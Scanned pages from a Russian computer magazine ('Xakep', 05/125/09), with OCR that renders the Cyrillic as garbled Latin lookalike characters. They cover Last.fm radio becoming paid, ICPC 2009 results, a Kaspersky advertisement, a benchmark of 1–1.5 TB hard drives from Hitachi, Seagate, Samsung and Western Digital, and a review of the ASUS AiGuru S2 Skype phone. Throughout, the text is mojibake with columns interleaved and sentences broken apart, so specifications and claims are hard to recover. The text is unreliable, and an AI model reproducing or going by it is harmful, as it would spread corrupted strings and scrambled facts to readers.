co CBeTOAi'10AHoi-i nOAcBeTKoi-i 1c00THO­ WeHi'1e CTOpOH 16:91 nopaAyeT aKpi'1JlOBO~ 3all.\i'1Toi-i OT l1apani'1H. nOcneAHee BeCbMa aKTyaJlbHO AJl~ KOMnaKTHoro nK, KOTOpbli-i Be3AeTaCKalOTC c060~. Kopnyc Hoyr6yKa BblnOIlHeH i'13 aHOAi'1pOBaHHoro aJlIO­ Mf1Hf1~,

'ITO TaK)I(e AellaeT ero He TOllbKO

npOYHbIM, JlerKf1M f1 CTf1nbHbIM, HO f13a­ ll.\f1ll.\aeT OT ,,6bITOBbIX TpaBM». KJlaBf1­ Wf1 nOYTf1 nonHopa3MepHoi-i 192%1 KllaSf1aTYpbl 3all.\f1ll.\eHbl OT f13­ Hoca nOKpblTf1eM HP DuraKeys, a BHyrpf1 Kopnyca Mini 2140 npf1Tai'1JlC~ 3-KOOPAi'1HaTHbl~ 11i'1¢POBoi-i aKcellepoMeTp. npi'1 YAape

XO'leWb cnywaTb?

nnaTM KPi'13f1C KHaM npf1XOAf1T, Kpf13f1C KHaM

nJlaTHblM An~ Bcex CTpaH, KpOMe CWA,

npf1XOAi'1T. nonyn~pHe~Wf1~ CepBi'1C

Beni'1K06pi'1TaHi'1i'1 i'1 repMaHi'1f1. 5ecnnaTHO

Last.fm CTaHOBf1TC~ nnaTHblM. PeWeHf1e

Tenepb MO)l(HO npocllywaTb TOJlbKO 30 Tpe­

Bbl3peBaJlO AaBHO, i'1 nocile nepBoro

KOB, a nOTOM «03HaKOMi'1TeJlbHbli-i nepf10A»

06b~BJleHi'1~HaAaHHYIOTeMYBO¢f1I1f1allb­ 3aKOHYi'1TC~. Mec~YHa~ nOAni'1CKa Ha Last.

HOM 6nore HerOAOBaHi'11O nOllb30BaTellei-i

fm 060i-iAeTc~ B 3 eBpo, nepe'if1Cnf1Tb

He 6blno npeAella. nOHayallY cnopHbli-i

KOTopble MO)l(HO nocpeACTBOM PayPal.

war Aa)l(e XOTellf1 OTIlO)l(i'1Tb Ha HeonpeAe­

Bce CKa3aHHoe KacaeTC~ f1MeHHO paAi'10,

lleHHOe

BpeM~

- Cnf1WKOM y)l( HeraTf1BHO

lost.fm

"'Jl"~

9HAllov".nw

Co6klnUl

PAAKol..lllU'm

WJlO f1 MeC~l1a, KaK pyKOBOAcTBO Last.fm

IOTC~

BCe)l(e peWf1nOcb. CepBf1C CTaHeT

3a6blBaTb, 'ITO npOKCf1 Hi'1KTO He OTMeH~JI.

~

014

6ecnnaTHbIMf1. 111, KOHeYHO, He CTOf1T

.

_ . =-­ c-..t.,(I.IqlIf_CbflJ ~~IIO_,_

~1'_'.

",::m

peKoMeHAyeMble, YapTbl f1T.A., nOKa OCTa­

'l~ll'rw

Cfl'OwrHR

~IIOtIloli*OO'"

a npOYi'1e CepSf1Cbl, TO eCTb - cKp06nf1Hr,

OTpearf1pOBanO KOMbIOHf1Tf1. Ho He npo­

J'.&,<VlO

__

Af(.Iltic.l. ,_

...... «

Ei3

t::I

"" ... ~.",...,_.n.-loN1l tlUol~-"""~t

_ _ 'e...-. '''- .~. .

..

_-',~,-~

......-:,- .....

c

" :0

~:;.:~,. :....--­

XAKEP 05 /125/ 09


KOMaHAa

LleMnHOHbl MHpa! TeTa, YeTSepToe - pe6~TaM V13 CapaToscKOro

BTOPO~ rOA nOAp~A nepsoe MeCTO Ha MV1pO-

YHVlBepCVlTeTCKVlX KOMaHA MVlpa, OTo6paHHbix

BOM yeMnV10HaTe no nporpaMMV1posaHV1IO足

V13 7109 KOMaHA-npeTeHAeHTOB 1838 YHV1Bep足

rOCYAapcTseHHoro YHVlBepcV1TeTa. A Ha sTopoe

International Collegiate Programming Contest

CVlTeTOS. nepsoe MeCTO ,lJ,OCTanOCb KOMaH,IJ,e

MeCTO 3aTecanV1Cb KVlTa~l.\bl

[ICPC 20091- OCTaeTC~ 3a KOMaHAo~ I,'HMO.

CaHKT- neTep6yprcKoro rocy,lJ,apCTBeHHOrO

l.\VlHbxya:l. 3aAaYe~ yyaCTHV1KoS 6blno pewV1Tb

S3TOM roAY 3 V13 4 30nOTbiX MeAane~

V13

YHV1sepcV1TeTa

yHVI sepcVlTeTa V1HepopMal.\V10HHbIX TexHonorVl~,

Ha BpeM~ 11 CIlO>KHbIX 3aAay. 30noTbie npVl3epbl

sblVlrpanVl POCcVl~cKV1e KOMaHAbl. Ha npoweAweM

MexaHVlKV1 Vl onTV1KVI, TpeTbe - KOMaH,IJ,e CaHKT足

cnpaBVlnV1cbc 9-10 Vl3 HV1X, V160nbwe HV1KOMY, KPO足

SCToKronbMe ICPC copesHosanV1cb 100nyywV1x

neTep6yprcKOro roCYAa pCTseH Horo yHVl sepcV1-

Me KVlTa~l.\eB, S3~Tb nnaHKy s 9 3aAay He YAaIlOCb.

50nee TOro,

: I<A~ I): I~~I<V

www.kaspersky.ru

I

MTMO -

JlHAm13Y~C"

co CKr.'lIlKOM 30%

nOAPo6Hocm Ha httpJlwww.kaspersky.ru/legal

3110 ~:na6tl~a:r.op~R MocKBa, PIi)CG~g

Ka(}lle~IlKoro",

Tell.: (4951797-8700 (495) 645-7939

1495) 956-7000

Be6 cal1T: www.kaspersky.ru


»

fe-rrlJm

EBrEHHa:1 nOnOB MEKCE~ WYBAEB

~HE3A5YAY

HHKOrAA

CpaBHr.1TeJ1bHbl~ TeeT Br.1H"IeeTepOB 06beMOM He MeHee 116

>KecTKV1~ ,D,V1CK B ponV1 Cpe,D,CTBa xpaHeHV1~ V1 HaKonneHV1~ V1HepOPMaU.V1V1 .....

..........

...........

nO>KanyV1, caMblV1 npoV13BoAV1TenbHblV1 V1 ,D,eWeBblV1 ,D,eBaV1C.

y MHorV1X nonb30BaTene~06beMbi ,D,aHHbIX, KOTopble He06xo,D,V1MO co­

xpaHV1Tb V1 06pa60TaTb, V1Cl1V1Cn~IOTC~ rV1ra6a~TaMV1, nO::HoMy BV1Hl1eCTep

eMKOCTblO Bblwe

1 T6 y>Ke He ~Bn~eTC~ pOCKOWblO, a

nepeXO,D,V1T B pa3p~,D,

H e06XO,D,V1 M OCTV1. CIlY4a~HoroAocTyna. TaK KaK B COBpeMeHHblX

~

TEOPETl-14ECKAfi nOArOTOBKA

nporpaMMO~ Lavalys Everest Ultimate Edition

>KeCTKVlX AI-tCKaX nO-npe>KHeMY V1cnollb3yeTc5I

BepC1-t1-t 4.60. YTl-tlll-tTa CIlY>KVlT ).\1151 c60pa I-tH<j>Op­

MarHVlTope3V1CTVlBHbl~ cnoco6 3anVlCVI Vl4TeHVI~

Ma 1.\ VI VI, a TaK>Ke

>KeCTKVle gVlCKVI o61lagalOT pa31lVl4HblMVI xapaKTe­

AaHHbIX, TO <j>Vl3V14eCKoe nepeMeLJ.(eHVle 4I-tTa 10­

BaHl-te no P~AY napaMeTpoB. nl-tHe~Hafi CKOpOCTb

pVlCTVlKaMVI, ogHa Vl3 KOTOpblX - eMKOCTb. VlMeHHO

LJ.(e~

4TeHI-t~

no eMKOCTVI

rOIlOBKVI B Hy>KHOe MeCTO AI-tCKa VI 4TeHl-te

n03BOIl~eT

npOBOAI-tTb TeCTVlpo­ ~/

Bcer).\a y5bIBalOLJ.(a~,--'- 3TO Tbl MO>KeWb

I-tH<j>opMaI.\VlVl3aHI-tMaeT BpeM~. KaK npaBVlIlO,

Ha61llogaTb Ha rpa<j>I-tKax. nllaBHoe y5blBaHVle, 6e3

KOllVl4eCTBO gaHHblx MO>KHO coxpaHVlTb. OgHaKo

3TOT napaMeTp

CKa4KOB, 6YAeT CBVlAeTellbCTBOM 6e30Wl-t604Horo

3TOT napaMeTp

HaKonViTell~

Mbl

onpegell~eM,

KaKoe

Vl3Mep~eTC~

B MVlIlIlViceKYH).\ax I-tlll-t

MC VI COCTaBIl~eT nop~AKa 10-20 Me. YeM MeHbwe

4TeHVI~

3aBVlCVlT Hanp~MYIO OT nIlOTHOCTVl3anVlCVI. Vl3Me­

3TO 3Ha4eHl-te - TeM 5blCTpee 5YAeT OTKIlVIK Ha

TVlBHblX YCTPO~CTB VI nOBblWeHl-teM TeMnepaTYpbl

p~eTC~

TBO~

YCTPO~CTB BCVlCTeMHOM 61l0Ke, Mbl o6paLJ.(allVi

nOCTO~HHO YBeIlVl4V1BaeTC~

VI

OHa B 6V1Tax Ha KBaApaTHbl~ AIO~M. HOTaK

3anpoe.

AaHHbIX. B CB~3V1 CpOCTOM 3Hepr03<j><j>eK­

KaK Mbl npVlBblKIlVI MblCIlVlTb KJTerOpl-t~MVl6a~TOB,

TpeTbl-tM, 04eHb Ba>KHbIM, napaMeTpOM, ~BIl~eTC~

TO VI B xapaKTep1-tCTVlKaXYKa3b1BaeTC~ VlMeHHO

IlI-tHe~Hafi

06beM xpaHVlMbIXAaHHbIX. KpOMe Toro, Tbl AOIl>KeH

I.\I-tVi. OT Hee 3aBI-tCVlT, KaK 6blCTpOTbi CMO>KeWb

4-5 4aCOB, Mbl CHVlMall1-t nOKa3aHVI~ BCTpoeHHoro

3HaTb, 4TO npOl-t3BOAl-tTellVi 4aCTeHbKO XI-tTP~T

coxpaHVlTb HOBbl~ <j>l-tllbM CAVICKa VI 11 VI CKOllbKO

TepMOAaT4VI Ka V13aHOCVlIlVI VlX BcpaBHVlTellbHYIO

I-t npl-tpaBHI-tBalOT 1 KI-tIl06a~T K1000 6a~T, BTO

Te6e npVlAeTC5I >KAaTb npVl 3arpY3Ke eMKO~ I-trpbl.

Ta 611 VI l.\y - Malloe TenllOBblAeneHVle rapaHm­

~

YCTPO~CTB

BpeM~,

CKOpOCTb 4TeHI-t~ I-t 3anVlCVI VlH<j>opMa­

BaHI-t~ YTe6~ «nponaAaeT» HeCKOllbKO AecmKOB

METO.o.l-1KA TECTl-1 POBAH l-1f1

rl-tra6a~T. 3Ha~, 3TO ynyLJ.(eHHble 24 6a~Ta Bcnllbl­

YTo5bl npOBepVlTb xapaKTepl-tCTI-tKI-t, 3a~BlleHHble

BalOT - a TBO~ Bl-tH4eCTep HaBepH5IKa I-tCnpaBeH.

np01-t3BOAI-tTelleM, I-t BbI5lCHVlTb, KaKO~ AeBa~c

BTOPblM Ba>KHbIM napaMeTpoM 51BIl~eTC~ BpeM~

ge~CTBVlTellbHO

•••••••••• TeCTOBOeo6oPYAOBaHMe:

nporHaB BceTeCTbl, KOTopble AIlVllll-tCb nOpfiAKa

pyeT nY4wVI~TeMnepaTYpHbl~ pe>KVlM AIl~ Bcex

KaK 1 K6 ~ 10246. B CB~3V1 C3TI-tM, nopo~

B03Hl-tKaeT nYTaHVll.\a, KorAa nOClle <j>opMaTVlpo­

BHVlMaHVle Ha TeMnepaTYPY >KeCTKoro AViCKa.

KOMnblOTepa.

lly4we, Mbl BocnOllb30Baill-tCb

•TeCTOBbli ••••••••• CTeHA:

Hitachi DeskStar HD721 01 OKLA330

np0l.\eccop, Mrl.\: 2200, AMD Athlon 643500+ (Socket 939)

Seagate ST31 000340AS

CI-tCTeMHaSl nllaTa: Albatron K8SLI

Seagate ST31500341 AS

naMSlTb, M6: 2x512, Corsair Value Select DDR-400

Samsung HE103UJ

BI1Aeo: ASUS EAX1900XTX

Western Digital WD1 OEADS Caviar Green

CI-tCTeMHbli1 BI1H4eCTep, r6: 80, Seagate Barracuda 7200 rpm, IDE

Western Digital WD1 001 FALS Caviar Black

61l0K nI1TaHI1Sl, BT: 450, Floston

~ 016

XAKEP 05 /125/ 09


>> ferrun-.

BPEMSI CIlYYAliIHOrO AOCTYnA. MC

Hitachi DeskStar HD721010KLA330

_

Seagate ST31000340AS

Seagate ST31500341AS

Samsung HE103UJ

Western Digital WD1001FALS

Caviar Black

Western Digital WD10EADS

Caviar Green

10

12

14

16

M/e

JlIo1AIo1PYIOT Blo1H4ECTEPbl OTWD

CKOPOCTb PA60Tbi BnE4ATJlSlET, HO, nOTPATIo1B ELUE HEMHOrO

AEHEr, MO)f{HO nOJlY4lo1Tb 3K3EMnJlSlP C60JlbWEII1 EM KOCTblO

Hitachi DeskStar

Seagate

H072101 OKLA330

ST31000340AS

TeXHM'IeCKMe xapaKTepMCTMKM: J6beM, r6: 1000 AHTep¢eiic: SATA 300 J6beM Ha OAHy IlnacH1HY: 200 r6 :KOpOCTb SpalL\eHV151, 06/MV1H 7200 06beM K3W naM51TV1, M6: 32

TeXHM'IeCKMe XapaKTepMCTMKM: 06beM, r6: 1000 iIIHTep¢eiic SATA300

(onV1yeCTSO AV1CKOS: 5

KOnMyeCTSOAMCKOS:4

(onV1yeCTSO ronOSOK: 10

KOnMyeCTSO ronoSOK: 8

05beM Ha OAHy nnaCTMHy: 250 M6 CKOpOCTb SpalL\eHM51, 06/MMH: 7200 05beM K3W naM51TV1, M5: 32

10Mep>KKa NCQ: eCTb

nOMep>t<Ka NCQ: eCTb

Macca, Kr: 0,7

Macca, Kr: 0,64

• • • • • • 0000

• • • • • • • • 00

npasonpV1eMHV1KOM V1 snaAenbL\eM 3aSOAOS IBM no npoV13sOAcTsy >KeCTKV1X

«30nOToii Tepa6a~T» OT Seagate. MOAenb AosonbHO nonyn51pHa 3a CyeT

AV1CKOS CTana Hitachi. ill PYKosoAV1TenV1 KOMnaHV1V1 CKa3anV1: «OAHOMy

SblCOKMX CKOPOCTHblX nOKa3aTene~ McpasHV1TenbHo He60nbwoii L\eHbl.

Tepa6aiiry 6bITb». iIIH>KeHepbl He CTanV16V1Tb peKOPAbl nnOTHOCTV13anV1CV1

B Kopnyce pa3MeCTMnMcb4 6nMHa no 250 r6. npMMeHeHV1e nepneHAV1KY­

IolYMeCTMnV1 S 60Kce Aesaiica cpa3Y 5 nnaCTV1H no 200 r6. B 3TOM Aesaiice

n51p>lOii3anMcV1 MelL\e MHorMX TeXHonorM~ n03sonMno AOCTMYb OTnMYHblX

HawnV1 MeCTO Hapa60TKV1

V1

AOCTV1>KeHV151 IBM. HanpV1Mep, paccMaTpV1saeMblii

>KeCTKV1ii AV1CK V1cnonb3yeTTexHonorV11O nepneHAV1Kyn51pHoii3anV1cV1, KOTO­

nOKa3aTeneii. KaK V1Tor - Sbl60pOM MHorMX nonb30saTene~ [Aa V1 peAaK­ L\MV11 y>Ke He pa3 CTaHOSMnaCb MMeHHO 3Ta MOAenb. Manoe speM51 AocTyna

pa51 npV13HaHa AOCTaTOYHO nepcneKTV1sHoii. K HeAOCTaTKaM MO>KHO OTHeCTV1

nopaAyeT 06naAaTeneii50nbWMX apXMSOS CMenKMMM ¢aiinaMM: KnpMMepy,

OTHOCV1TenbHO SbICOKV1ii yposeHb TeMneparypbl. npV1 OTCYTCTSV1V1 AOn>KHOrO

MY3bIKanbHO~ KOnneKL\MV1 MM1 MHorOYV1CneHHbIX ¢OToanb60MOS. nOpaAosa­

oxna>KAeHV151 :no HeraTV1SHO CKa>KeTC51 Ha cpOKe >KM3HM Aesa~ca. KpoMe

na AosonbHOTMxa51 pa50Ta Aesa~ca [Aa>Ke npM yaCTblX 3anpocax AaHHblxl.

TOro, TpecK MexaHM3Ma ronOSOK npM aKTMsHo~ pa60Te CAaHHblMM MO>KeT

CoseryeM nOAYMaTb 0 AononHMTenbHOM OXna>KAf'HMV1, nOTOMy YTO SCMCTeM­

AOKyyaTb MOTsneKaTb.

HMKe SMHry6YAeT >KapKO - Harpes y Hero, CYA51 no Teery, OlL\yTMMbl~.

XAKEP 05 1125/09


»

fernJn-.

nl1KOBAll CKOPOCTb I1HTEP<IlEHCA

TEMnEPATYPA rpA,Q.I.lEJ1bCI111

Hitachi Deskstar HD721010KLA330

Hitachi Deskstar HD721010KLA330

Sea gate sT31000340As

seagate sT31000340As

seagate sT31500341As

seagate sT31500341As

samsung HE103UJ

Sam sung HE103UJ

Western Digital WD1001 FALs

Caviar Black

Western Digital WD10EADs

Caviar Green

Western Digital WD1001 FALs Caviar Black Western Digital WD10EADs Caviar Green

o

100

50

150

200

\ o

250

M6/c

10

20

30

50

40

60

rpaA.L.!ellbClUI

4EM BI1HT XOllOAHEE - TEM OHO llY4WE

Seagate

ST31500341AS

samsung HEl 03UJ

TeXHM'IeCKMe xapaKTepMCTMKM: 06beM, 16: 1500 V1HTep<jJe~c: SATA300 06beM Ha OAHy nJlaCTVtHy: 375 r6 CKOpOCTb BpaUjeH'1~, 06/M'1H: 7200 06beM K3W naMm'1, M6: 32

TeXHM'IeCKMe XapaKTepMCTMKM: 06beM, 16: 1000 \I1HTep<jJeik:

SATA300

KOJl'1yeCTBOrOJlOBOK:8

334 r6 CKOpOCTb BpaUjeH'1~, 06/M'1H: 7200 06beM K3W naM~T'1, M6: 32 KOJl'1yeCTBO A'1CKOB: 3 KOJlVlyeCTBO roJlOBO K: 6

nOAAep>KKa NCO: eCTb

nOAAep>KKa NCO: eCTb

KOJl'1yeCTBOA'1cKOB:

Macca, K,:

'655"6 py~.", ..::. __ 1:

06beM Ha OAHy nJlaCTVlHY

4

0,68

Macca, K,:

••••••••• 0

0,64

• • • • • • • 000

nOJITOPA TEPA6AIIITA C4ACTbSl- HE MAK01MYM. MO>KHO HAllln1 MOAElll111 HA 2 T6

CPABHI1TEllbHO BblCOKASl UEHAAEBAIIICA - HE HEAOCTATOK, A rAPAHTI1Sl BblCOKoro KA4ECTBA

Pa3B'1T'1e JlVlHe~KVI HaKOn'1TeJle~aT Seagate npVlBeJlO K C03AaHVlIO B'1HYeC­ Tepa eMKOCTblO 1,5 T6, B 3TO~ >Ke Jl'1He~Ke npeACTaBJleHbl AeBa~cbl 06beMoM 500,750 VI 100016, TaK YTO MO>KeWb nOA06paTb '1MeHHO

ry MOAeJlb, KOTopa~

BVlHyeCTep He AJl~ cnOKO~HO~ >K'13H'1, HO AJl~ np0'13BOAVlTeJlbHO~ pa60Tbi. 3TO BVIAHO '13 TeCTOB '1 npoCTO np'1 B3,Jl~Ae Ha ljeHYlaA>KeTOTJl'1YHO cnpaB­

Te6e He06xoAVlMa, ECJlVl rOBOp'1Tb KOHKpeTHo 06 3TO~, TO MO>KHO CMeJlO

Jl~eTC~ CO CBoe~ pa60TO~ B COCTaBe RAI D-MaCC'1BOB. 6YAb TO He6oJlbWO~

YCTaHaBJlVlSaTb ee B cepBepbl HayaJlbHOro ypOBH~ VlJl'1 AOMaWHVle NAS-c'1c­

KopnopaTV1BHbl~ cepBep '1JlVl nOJlb30BaTeJlbCKoe XpaHVlJl'1Uje AaHHblx,

TeMbl, npeAnOJlO>KeH'1~KaCaTeJlbHO BbICOKO~ pa60Ye~ TeMneparypbl6blJlVl

WVlPOK'1~ MOAeJlbHbl~ P~A >KeCTKVlX A'1CKOB eMKOCTblO aT 160 AD 100016 AaeT

pa3Be~Hbl nOCJle npOBeAeHHblX TeCTOB -

B03MO>KHOCTb Bbl6V1paTb He TOJlbKO no 06beMy, HO '1 no '1MelOl1\e~C~ B KapMa­

pe3YJlbTaT B 48 ,paAycoB CY'1TaeT­

C~ AOCTO~HbIM, npaBAa, nOCJle BblXOAa YCTpo~cTBa Ha PblHOK 6blJl3aMeyeH

He cyMMe, lapaHT'1e~ KayeCTBa TaK>Ke CJlY>KVlT BpeM~ Hapa60TKVI Ha OTKa3,

onaCHbl~ mlOK -

3a~BJleHHOe npo'13BOAVlTeJleM,- 1,2 MJlH, YaCOB. nOYTVI BABoe 60JlbWe

nOTep~ Bcex AaHHblxl neY'1TC~ OH CMeHO~ npowVlBKVI VlJl'1

nOXOAOM B cepBVlcHbl~ l.\eHTp, XOT~ '1 TaM He ,apaHTVlpylOTcoxpaHHOCTb '1H<jJopMal.\'1'1

~ 018

:I.

CTaHAapTHblX BeJl'1YVlHI K HeAOCTaTKaM MO>KHO OTHeCT'1 BbICOK'1~ ypoBeHb wyMa, xapaKTepHbl~ '1MeHHO AJl~ 3TO~ JlVlHe~K'1,

XAKEP 05 11251 09


>> fEtrrlJrn

'1TEHHE/3AnHCb. nHK cKoPocTEIil Hitachi DeskStar H0721010KLA330

_

write

read

Seagate ST31000340AS

Western Digital

WDl 001 FALS Caviar Black

Seagate ST31500341AS

TeXHMlfeCKMe xapaKTepMCTMKM: 06beM, 16: 1000

Samsung HE103UJ Western Digital WD1001 FALS Caviar Black Western Digital WD10EADS Caviar Green

V1HTep¢e~c:

SATA300

06beM Ha O,L\HY nnaCTI<1HY, 16: 334

o

20

60

80

100

120

M6/c

B3TOM TECTETPAAl1Ul10HHOXOPOWl1E PE3YllbTATbi nOKA3blBAIOT Bl1H4ECTEPblSEAGATE

CKOPOCTb BpaU1eHI<1~, 06/MV1H: 7200 06beM K3W naM~TV1, M6: 32 KOnl<1yeCTBO,L\V1CKOB:

3

KOnV1yeCTBOronoBoK:6 nOMep)l(Ka NCO: eCTb

Western Digital WD 1OEADS Caviar Green

Macca, Kr:

0,69

• • • • • • • • 00

TeXHMlfeCKMe xapaKTepMCTMKM: 06beM, 16: 1000 AHTep¢eik

SATA300

06beM Ha O,L\HY nnaCTi'IHy, 16

334

CKOpOCTb BpaU1eHV1~, 06/MV1H: 7200 06beM K3W naM~TV1, M6: 32 KOnV1yeCTBO,L\V1CKOB:

3

>(onV1yeCTBO ronOBOK: 6 -:oMep>KKa NCO: eCTb ilacca, Kr:

0,68

F400 py6::,

••••••••• 0

npl13blBbi COXPAHI1Tb npl1POAY OKA3blBAIOT Blll1flHI1E HA np0l13BOAl1TEllEIit Bl1H4ECTEPOB - 3HEPr03C1>CI>EKTl1BHOCTb B03BOAl1TCfl BKYllbT

BMEPY np0l13BOAl1TEllbHbilit 113C1>CI>EKTl1BHbUil AEBAIitC OT I1MEHI1TOrO np0l13BOAl1TEllfl B npOTI<1BOBeC «3eneHoMy» BI<1HyeCTepy, WD npOABl<1raeT nI<1He~KY np0l<13­ BOAV1TenbHbIX HaKOnv1Tene~. V1cnonb30BaHl<1e nnaCTV1H BbICOKO~ eM KOCTI<1

50pb6a 3a cnaceHV1e 3KonorV1V1 Hawna OTKnV1K B CTaHe np0V13BO,L\V1Tene~ Tex­

n03BonV1no npl<1MeHI<1Tb BCerOTp1<16n1<1HaAn~ ,L\OCTV1>KeHI<1~ nopora B 1 T6.

HV1KV1: coxpaH~Tb 3HeprV11O He TonbKO He06xo,L\V1MO, HO 1'1 MO,L\HO. MapKeTOnorV1

nOMI<1MO HennOXI<1X CKOPOCTHblX nOKa3aTene~, raA>KeT MO)l(eT nOXBaCTaTbC~

He ,L\peMnlOT 1'1 Ha Bce CTOpOHbl Kpl<1yaT, YTO 1<1 X ,L\eBa~C «caMbl~ 3eneHbl~ V13KO­

npl<1cyTcTBl<1eM pa3nl<1YHbiX TexHonorl<1~, n03BonlllOU1V1X nOBblCI<1Tb coxpaH­

HOMI<1YHbl~». ,[\e~CTBI<1TenbHO, ,L\eBa~C nOKa3an Ha YAV1BneHl<1e BbICOKV1~ ypo­

HOCTbAaHHbIX: HanpV1Mep, TeXHOnOrl<1e~ NoTouch, npeAOTBpall1alOU1e~

BeHb np0V13BOAI<1TenbHOCTV1 npV1 H1<13 KI<1X pa60YI<1x TeMnepa-rypax 1<1 He60nbWO~

KOHTaKT ronOBOK CAV1CKaMI<1 npV1 B03HI<1KHOBeHI<11<1 BV16pal.\I<1V1. Hy, npo CHV1­

WyMHOCTI<1. npe,L\bIAYU1V1e MO,L\enV1 3TO~ nV1He~KV16blnV1 c06paHbi Ha yeTblpex

>KeHl<1e wyMa 1'1 npoYl<1e TeXHV1yeCKV1e MOMeHTbl MO)l(HO Aa>Ke He ynoMI<1HaTb.

nnaCTI<1Hax. HO BBeAeHl<1e HOBOro TeXnp0l.\ecca n03Bonl<1nO 060~TV1Cb TpeM~

nOHpaBV1nV1Cb HaM 1'1 HeBbICOKV1e nOKa3aTenl<1 TeMnepa-rypbl, n03BOnlllOll1V1e

npV1 paBHOM 06beMe. HeMHoro paCCTpal<1BaeTTOnbKO He caMbl~ nyYWV1~

npOAnl<1Tb CpOK cny)l(6bl YCTpO~CTBa. Pa3Be YTO ~ XOTenOCb 6bl BI<1AeTb 60nee

nOKa3aTenb BpeMeHV1 ,L\oc-ryna - BI<1,L\V1MO, pacnnaTa 3a 3Heproc6epe>KeHl<1e.

BHYWI<1TenbHble pe3ynbTaTbi CKOpOCTHblX TeCTOB .

•••••••••••••••••••••••••••••••••••••••••••••••••••••••••• ~

BblBOAbl

pa3AaAVlM HarpaAbl. MeCTa HV1KorAa He 6blBaeT

TaK)I(e He 6e3pa3nV1YHa CYAb6a nnaHeTbl, 1'1 Mbl

Te6e y>Ke He TepnV1TCIl nOCTaBV1Tb HOBb/14 BI<1HyeC­

MHOro, n03TOMY 3a eMKOCTb 1'1 npOVl3BOAI<1Tenb­

AyMaeM 0 6YAYll1V1X nOKOneHVl~X, TO npVl3 «J1yYwall

iep B CV1CTeMHV1K

3aKayeK

HOCTb Mbl Harpa>KAaeM Seagate ST31500341AS

nOKynKa» AOCTaeTCIl Western Digital WD10EADS

O,L\enVl

npVl30M «BbI50P PE,[\AKLjV1V1». V1 nOCKOnbKY HaM

Caviar Green,:x::

Vl3anYCTVlTbAec~TO

BToppeHTe?TorAa oT6epeMnyYWI<1e

XAKEP 05 /125/09

1'1

~

019


Io1rOPb c1lEAIOKlo1H

CKaMnqlOH ASUS AiGuru 52 TEXHH4ECKHEXAPAKTEPHCTHKH: Tt-ln: 5eCnpOBO/:lHoi! Skype-q,OH At-lcnnej;i: 128x128 T04eK,l.lBeTHoi! 5ecnpoBOAHa5l CB5l3b: IEEE802.11

bIg

BpeM5l aBToHoMHoj;i pa60Tbl: 3 4. (B pelKlIIMe pa3roBopal. 25 4. (B pelKlIIMe OlKlII/:laH1II1'1I MOlJ.1HOCTbAt-lHaMt-lKa: a,S 8T ia6apt-lTbl: 116 x 47 x 12.3 MM Bec: 72 r

ECIlIII Tbl aKTIIBHO o6lJ.1aeWbCl'l CnOMOl1lblO

AiGuru 52 noxo)l( Ha cpeAHecTaT1'1CTt-l­

nporpaMMbl Skype, TO, HaBepHoe, He pa3

4eCKt-lj;i M06t-lnbHblj;i 06pa3l.\a 4-neTHej;i

3aAYMbIBanC5l 0 npt-l06peTeHt-lt-l cnel.\t-l­

AaBHOCTt-l.

anbHoj;i rapHt-lTYpbl. ill ecnt-l Tbl AO Ct-lX nop

CKaj;ino<jJoH aBTOMaTt-l4eCKt-l nOAKn104aeT­

3Toro He cAenan, Skype-<jJoH oTASUS

C5l KaAamepy npt-l3anycKe Skype-Knt-leHTa

MO)l(eT CTaTb nOAXOA5lIJ.(t-lM peWeHt-leM.

Ha KOMnblOTepe. Tyr HaAO nOAYepKHyrb,

AiGuru 52 - BTOpa5l MOAenb Skype-Tene­

4TO AiGuru 52 He 5lBn5leTC5l aBTOHOMHblM

<jJoHa oTASUS. OH CTan npv1BneKaTenbHee

Skype-Knt-leHTOM. OH <jJYHKl.\t-lOHt-lpyeT

He TonbKO CT04Kt-l3peHt-l5l At-l3aj;iHa, HO t-l

TonbKO npt-l ycnewHoM COeAv.HeHt-lt-l

6naroAap5l paCWt-lpeHHoj;i <jJYHKl.\t-lOHanb­

nporpaMMHoro Knt-leHTa Ha KOMnblOTepe.

HOCTt-l.

nocne 3TOro CTene<jJOHa MO)l(HO npo­

KOMnneKT COCTOt-lT 1'13 Tpy6Kt-l t-l USB­

Jlt-lCTbIBaTb KOHTaKT-nt-lCT, COBepwaTb

aAamepa. ,[\n5l Ha4ana pa60Tbi Tpe6yeTC5l

3BOHKt-l, npocnyWt-lSaTb ronocoBylO noyTY t-l

YCTaHOBt-lTb <jJt-lpMeHHylO yrt-ln1'1TY Cnpt-l­

OpraHt-l30BblBaTb KOH<jJepeHl.\CB5l3b. A BOT

JlaraeMOro KOMnaKT-At-lCKa. B np0l.\ecce

OTnpaBn5lTb TeKCTOBble C006IJ.(eHt-l5l CHero

t-lHCTann5ll.\1'1t-l 6YAeT npeAnO)l(eHO nOAKnlO­

He YAaCTC5l. 3aTO MO)l(HO nocnywaTb My3bl­

4v.Tb KKOMnblOTepy USB-aAamep t-l Tpy6Ky.

Ky CnOMOlJ.(blO CepBt-lCOB Windows Media

CO<jJT caM aBTOMaTt-l4eCKt-l HaCTpOt-lT Bce

t-l iTunes. Te6e nOTpe6yeTC5l YCTaHOBt-lTb Ha

He06xOAt-lMble napaMeTpbl coeAvlHeH1'15l,

KOMnblOTep cooTBeTCTBylOlJ.(t-le ymn1'1Tbl, t-l

nocne 4ero MO)l(HO t-lCnOnb30BaTb 6ec­

nOCJle 3TOro MO)l(HO t-lCnOnb30BaTb AiGuru

npoBoAHoj;i pe)l(t-lM. HeCMOTp5l Ha TO, 4TO

52 B Ka4eCTBe cBoe06pa3Horo paAt-lO,

Tpy6Ka v.cnonb3yeT CTaHAapTHblj;i AJl5l Wi­

npo1'1rpblBa5l My3blKy, CKa)l(eM, Ha KyxHe.

Fi npoToKon - OHa <jJyH Kl.\t-lOHt-lpyeTTon bKO

nonHoj;i3ap5lAKt-lXBaTaeTnp1'1MepHoHa

CKOMnneKTHblM 6ecnposoAHbiM aAame­

AeHb yMepeHHoro 1'1cnonb30BaH1'15l. Y41'1Tbl­

pOM. A BOTcaM aAamep BnonHe MO)l(eT

Ba5l, 4TO nOA3ap5l)l(aeTC5l Tene<jJoH OT nopTa

6blTb nepeKnlO4eH

USB - Ht-lKaK1'1X np06neM CnOA3ap5lAKoj;i

11,3

pe)l(t-lMa pa60Tbi B

Ka 4eCTBe T04 Kt-l AO cTYna 1<jJyH Kl.\t-l OH t-l pyeT

B03Hv.KHyrb He AOn)l(HO.

B HeM no YMon4aHt-l101 Spe)l(t-lM 06bl4HOro

B l.\eJlOM, ASUSAiGuru S2 - BeCbMa

Wi-Fi aAamepa.

t-lHTepecHblj;i AeBaj;ic, KOTOpblj;i 6YAeT

Tpy6Ka OCHalJ.(eHa AOCTaTOYHO HennOXt-lM

